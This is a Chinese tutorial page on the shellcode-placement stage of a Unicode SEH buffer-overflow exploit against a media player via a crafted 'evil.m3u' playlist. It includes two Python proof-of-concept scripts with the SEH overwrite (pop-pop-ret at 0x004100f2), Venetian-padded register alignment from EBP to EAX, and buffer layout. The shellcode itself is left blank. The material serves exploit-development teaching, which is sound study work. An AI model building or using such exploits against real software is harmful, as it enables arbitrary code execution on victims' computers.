返回介绍

布置 Shellcode

发布于 2025-01-03 23:32:53 字数 4502 浏览 0 评论 0 收藏 0

一般来说把 Shellcode 布置在 SEH 后面,漏洞利用就算结束了. 然而,由于 unicode 的原因,这里会有一点不同. 由于 unicode, 我们需要确保程序从我们 Shellcode 的第一个字节开始执行,我们需要手工一个 CPU 指向我们 Shellcode 的开始地址。

你需要做下面两件事之一:

(1) 找一个最接近我们缓冲区的寄存器然后通过增加/减小一些值使得它指向缓冲区的起始地址(也就是 Shellcode 的地址)

(2 在堆栈找一个指向我们缓冲区的地址,通过 pop 送到 EIP 最终会转去执行我们的 Shellcode.

在这个例子我选择第一种方法. 看了一下我发现有几个寄存器都指向接近我们的缓冲区. 最后我决定使用 EBP 寄存器. 下面是 EBP 的截图:

考虑到没有对齐 EBP 到 NOP’s(缓冲区起始地址). 经过计算我猜测增加 2300 字节可以使 EBP 指向正确的位置.(十六机制就是 EBP+0x900). 然而这似乎不奏效. 如果尝试的结果不对,那么继续努力. 努力一番后我发现 770 字节就可以(十六进制就是 EBP+0x300). 我不知道为什么,如果谁知道请给我发邮件。

是时候来对齐寄存器了. 像之前我们用 uncide NOP’s 吸收多余的 00’s

"\x55"         #push the value of EBP on to the stack
"\x71"         #Venetian Padding
"\x58"         #take the value of EBP and pop it into EAX
"\x71"         #Venetian Padding
"\x05\x20\x11"     #add eax,0x11002000  \
"\x71"         #Venetian Padding   |> the net sum will add 300 to the value in EAX
"\x2d\x17\x11"     #sub eax,0x11001700  /
"\x71"         #Venetian Padding
"\x50"         #push the new value of EAX onto the stack (points to our buffer)
"\x71"         #Venetian Padding
"\xC3"         #redirect execution flow to the pointer at the top of the stack ==> EAX

好的,这应该足够了. 下面是新的 POC 和执行结果

#!/usr/bin/python -w
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41     INC ECX           #
#          0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:    PREFIX REPNE:       #
#          0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our Shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                 #
#-------------------------------------------------------#
align = (
"\x55"            #push EBP   
"\x71"            #Venetian Padding
"\x58"            #pop EAX
"\x71"            #Venetian Padding
"\x05\x20\x11"        #add eax,0x11002000  \
"\x71"            #Venetian Padding   |> +300
"\x2d\x17\x11"        #sub eax,0x11001700  /
"\x71"            #Venetian Padding
"\x50"            #push EAX
"\x71"            #Venetian Padding
"\xC3")           #RETN
 
boom = SEH + align
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

一切正如所料. EAX 指向我们的缓冲区,现在需要填充我们的缓冲区以便 EAX 直接指向我们 Shellcode.

你可以用 metasploit 模式字符串,但我这直接手工计算了. 下面是最后阶段的 POC:

#!/usr/bin/python -w
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41     INC ECX           #
#          0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:    PREFIX REPNE:       #
#          0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our Shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                 #
#-------------------------------------------------------#
align = (
"\x55"            #push EBP   
"\x71"            #Venetian Padding
"\x58"            #pop EAX
"\x71"            #Venetian Padding
"\x05\x20\x11"        #add eax,0x11002000  \
"\x71"            #Venetian Padding   |> +300
"\x2d\x17\x11"        #sub eax,0x11001700  /
"\x71"            #Venetian Padding
"\x50"            #push EAX
"\x71"            #Venetian Padding
"\xC3")           #RETN
 
#We need to pad our buffer to the place of our alignment in EAX
filler = "\x58"*117
 
Shellcode = (
)
 
boom = SEH + align + filler + Shellcode
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文